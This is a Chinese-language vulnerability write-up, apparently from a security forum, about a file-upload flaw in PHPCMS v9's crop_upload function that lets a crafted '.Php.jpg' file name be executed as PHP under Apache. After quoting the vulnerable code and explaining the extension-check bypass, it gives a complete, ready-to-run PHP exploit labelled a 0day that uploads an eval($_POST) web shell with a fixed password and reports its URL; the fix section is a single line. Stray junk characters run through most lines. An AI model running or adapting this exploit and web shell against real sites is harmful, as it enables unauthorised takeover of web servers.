漏洞类型: 文件上传导致任意代码执行
* O* v a1 T1 c! p$ R W
) x. P: |8 x% ~1 D1 b3 f# N* G: k简要描述:, g- w& u! S% E- t( l
8 M+ B6 s Q# X1 O b8 [5 e8 Z/ A
phpcms v9 getshell (apache)
% h. q# X, y. b$ p" Y; @* |详细说明:8 p7 f/ c, O3 C0 y8 B% W4 M/ w
1 {2 A1 d F }) k$ w7 b5 Z& f
漏洞文件:phpcms\modules\attachment\attachments.php
* l: h, Z- G: v$ k6 W' \, R1 C$ b/ ^' Q
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } , v1 T' ]! u/ b) ]1 \6 y
后缀检测:phpcms\modules\attachment\functions\global.func.php
5 \/ c. I ?; ^/ y+ x) M1 J
E; B. r1 e; O/ R+ l/ P2 S * a8 T# u6 T4 P- Z3 d5 q" K
4 S% n8 c, ~- G5 Nfunction is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
% X4 m n% _7 a& X+ y
; E) \, \5 I# k4 O w, {/ ^关键函数:
$ u! |9 L2 c1 i) J
6 u/ ?1 b9 U3 d
6 k5 U& o. L! m O P" _9 x z0 j! m! d
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } 4 k; o" }& \8 c$ p0 @1 g. l) A
( ]. f' V/ f% _8 s5 G2 }- c
Fileext函数是对文件后缀名的提取。/ A4 m% _) K! l: D" r
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php% T: y) k y8 h7 ^* X& ^
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。! f8 M7 r) \7 T
我们回到public function crop_upload() 函数中# ~% I. ] `% i, r+ B! e
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
( v& L9 o8 @2 v在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数9 t* R8 n0 d& G- R- S" V
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。, u& T' r V5 N
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。 N6 s/ X X1 X$ a0 I
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
. I# w$ \0 B/ j( g看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
' W) o1 ^# A; ?! s5 t# _) n漏洞证明:
, _, k, |7 _1 u. G' ?1 Y7 S6 @5 ~, u3 V, Y
exp:, g' ?; N0 `: S- Q$ Z. p
1 j) Z9 ~ b1 c) g" ?4 w8 f" x
<?php! Z' s( D* @" p! d
error_reporting(E_ERROR);3 i* k( n/ {; U& d8 ~
set_time_limit(0);
" B! M7 \2 W X ]) x4 d9 R& p$pass="ln";
9 j" K7 g5 Q' N& dprint_r('
4 \4 ~1 D, Y5 C P B2 J8 `+---------------------------------------------------------------------------+. O2 H, W6 S8 k$ V9 ?' r
PHPCms V9 GETSHELL 0DAY
6 x% m% J" }( P0 @( ^code by L.N.) |* J% s& f# O# A5 @2 M' P
: Y6 ~5 D# W9 }" c. }# r2 j/ c- Zapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net1 V2 h6 x5 g9 m# E$ L
+---------------------------------------------------------------------------+
, e) W' g2 [ N' ^1 \');4 \+ \; \+ l+ D0 x
if ($argc < 2) {7 S6 }2 R8 J2 K
print_r('" f- c4 ~- P! V; z
+---------------------------------------------------------------------------+# U: V: n0 l$ ^# P
Usage: php '.$argv[0].' url path
1 s& T1 C4 o* d. ~5 B
% n8 p* m- ?. \5 ^) ?! @Example:
) m5 F' ]) a: P T& b3 n1.php '.$argv[0].' lanu.sinaapp.com
( K, \9 w) O9 n! \2.php '.$argv[0].' lanu.sinaapp.com /phpcms7 d3 F e7 |5 v. o2 E8 ^5 @
+---------------------------------------------------------------------------+1 E) b. \) m; h. ~7 ]/ f0 [
');1 h* O% E. F+ W `3 ?: z
exit;1 k: D: ?0 w# f, ^
}' p: v ~ ^" _1 A) f
/ O( h. K0 O& Y- ?( [* f. z0 p7 H, Q: Z$url = $argv[1];
7 s) y+ {1 K1 ?$path = $argv[2];) H" M! z& N. ^/ L& ^1 k4 i
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';& r7 i k5 O2 O" n0 _1 C
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';& Z/ S9 x; i1 d, w* n' ^3 w; a
if($ret=Create_dir($url,$path))5 p/ H/ Y9 ^- M6 Y9 `
{4 V1 Z6 S. _$ L% Y
//echo $ret;
5 G# L$ H# a' l$ V- Z, ]$pattern = "|Server:[^,]+?|U";: d" \' \4 T7 K& v% ^" M7 P
preg_match_all($pattern, $ret, $matches);) N. q) A c8 `" Z
if($matches[0][0])
! F3 r( _; ^9 P; S3 x) w( n6 ?% D7 p{
' ?9 [' `2 ?' U2 X+ Bif(strpos($matches[0][0],'Apache') == false)2 K1 b: _" T/ A) j
{9 m6 F/ x$ F9 g R8 j- a6 s
echo "\n亲!此网站不是apache的网站。\n";exit;
" c) b6 k$ I3 A! n}( H. K3 q% d/ o/ o9 r# @5 ^8 s* n
}! ~3 i- {9 s0 x$ ^2 j
$ret = GetShell($url,$phpshell,$path,$file);: r1 z0 W, ?& R2 d/ s- N
$pattern = "|http:\/\/[^,]+?\.,?|U";1 f) N9 y5 @ U0 C* j
preg_match_all($pattern, $ret, $matches);
) y2 f) u( _- @2 Bif($matches[0][0])
- d8 K$ ?9 n2 p3 a( X{5 h3 M6 |1 m4 q& |- Z
echo "\n".'密码为: '.$pass."\n";$ T9 d$ {. Q/ w! h
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
; z3 y/ p5 q3 A# j; }" j: P3 j$ U* W}; A9 W4 N/ J8 E8 V5 U& P
else9 h1 q0 o. v8 o7 ~
{/ T0 d* L0 a% L4 `% [- X+ s/ H
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";, I7 H A( |, V, M" `* E
preg_match_all($pattern, $ret, $matches);" w! F+ |2 w1 Y5 F6 j/ b9 M
if($matches[0][0])
' O2 W' ^9 a) e& I& j{
$ }& \0 Z0 [3 X6 H: Cecho "\n".'密码为: '.$pass."\n";) e& B Y# L3 I+ K1 {9 c3 U( m
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit; ?4 S7 e) y# O! `) h% n$ b! t
}: h5 _' z7 r+ H0 {9 J# o
else" p0 g3 m" a! L1 C( h, h
{
0 v2 B' }3 _. \; F3 l! z4 m J9 K4 recho "\r\n没得到!\n";exit;1 @. f3 F4 f9 C( H' c; g. z
}$ _: h4 Z2 A9 d, h$ |
}* a. M; K& G- [: z
}
! ^# h7 V* W/ i0 l7 Q# [! _* ^
& j5 h# B* s$ k M2 ^6 O- n# dfunction GetShell($url,$shell,$path,$js)* y G& M6 h4 E: d4 k5 }3 j
{
' P8 g; J; {, Z$content =$shell;# w+ |' L5 D5 @# L
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
2 K; }! O5 J) a& R5 j/ O$data .= "Host: ".$url."\r\n";2 H6 P) k& a* B" ]- l' U+ R k
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
! B" ~8 N3 j+ ]. z3 X! Z$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";7 p3 }8 X7 v& H" j9 v
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
( }6 _$ p; u+ }. x; A. b: v$data .= "Connection: close\r\n";
. d- p+ I8 N# p$data .= "Content-Length: ".strlen($content)."\r\n\r\n";1 l) i7 D) I4 N0 _% S) s
$data .= $content."\r\n";* _0 ^# T* w0 J) Q8 }, G1 n6 i
$ock=fsockopen($url,80);/ {* H/ X5 {9 {; S
if (!$ock)
* N5 q% S8 Q& W& G1 I9 A) Q{, C3 O" {& X9 `6 \# k
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
. I2 y6 S) q6 }" t, ?4 V( Y}. W* l! ?5 J* E- e; \
else* E) x3 s3 h( \: {' w
{
. H# F5 ? d7 j$ z2 p! T4 \fwrite($ock,$data);7 C) C6 [6 V1 v, x( c1 G5 ^
$resp = '';
/ u% @& p0 e) ^ q/ x. E" Uwhile (!feof($ock)); z7 s+ u3 N. u! `% }" A w" P
{# [# s! X% q- w3 h2 D, w0 M# v) ]
$resp.=fread($ock, 1024);
- Y( ~+ v% W. m' J9 \) n# Z}& u2 a3 I9 |! f" q
return $resp;
" c2 w: a/ [) {4 |* a, l2 Q1 l}
E- F/ j( ^5 h+ ~ ~- _- n7 c}( s$ e* H" D1 \' [( S+ @
+ C/ R) R7 {* w; e* `function Create_dir($url,$path='')
* C5 c$ f& w0 S{
4 A5 G- L( A9 \. m" Q$ S7 k$content ='I love you';
5 [6 J' g. n* s3 {* U" x9 r$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";+ s# w0 Y* w0 j$ X
$data .= "Host: ".$url."\r\n";
8 G$ J& E, o) T) K3 M# c$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";: b& N1 }. ^- U) [' T7 l5 _! W X8 k8 w
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; q( u% `2 Y, K# W0 e0 {! t# I
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";0 Q0 w" j8 Y! F) R d0 z" U8 F
$data .= "Connection: close\r\n";
4 ~" `) a* L) `$ B$data .= "Content-Length: ".strlen($content)."\r\n\r\n";. [+ t& t/ G( m1 {/ N
$data .= $content."\r\n";3 v7 y1 D/ `' @' Q* E6 @" A6 {
$ock=fsockopen($url,80);
0 L0 L9 t4 A Wif (!$ock)
3 z o0 d6 w3 h3 s2 `) S( T2 D{ F% h) t! u6 W5 d9 b0 a2 h
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;8 l/ `% o3 o# i+ j- o, n& Z
}) W o9 p: F( e: o H: \- R2 Z2 `
fwrite($ock,$data);
% Y. _% m: ?# Y% M9 c0 `0 F$resp = '';. _7 p8 O4 a4 d7 P5 H
while (!feof($ock))6 V( t! }; k- P# m
{1 r# K3 L$ I2 N4 h2 ?
$resp.=fread($ock, 1024);9 m1 B! @. p' v2 L# Y
}
: h! |, r# s- o. g+ V5 ureturn $resp;
. n6 m' d: {3 C0 _7 [ Z}" o! z9 Z3 _6 {! O* B: d; b
?>
\, B% e/ l$ K. F. {3 O 2 {2 }3 a* W$ i- s
修复方案:
2 b: E/ K1 a" Q4 r
% d `( k }1 l6 K* U p- g' L过滤过滤再过滤) S& h1 C* J& [4 I
4 n0 z: x) X8 s/ n; a) g6 C8 s% R2 n
|